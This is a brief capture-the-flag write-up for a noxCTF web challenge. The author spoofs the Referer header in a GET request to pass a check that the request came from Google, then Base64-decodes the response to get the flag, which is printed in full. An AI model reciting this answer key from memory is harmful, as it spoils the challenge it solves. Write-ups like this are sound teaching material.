Tags: web
Rating:
# ▼▼▼Reference(Web:100point、310/531=58.4%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
What is your reference again?
http://chal.noxale.com:5000
```
---
↓
`Check_from_google` is written in the URL part
↓
Guess that checking the Referer header
## 【exploit】
```
GET /check_from_google HTTP/1.1
Host: chal.noxale.com:5000
Referer: http://google.co.jp/
```
↓
`bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9`
↓decode by Base64
`noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}`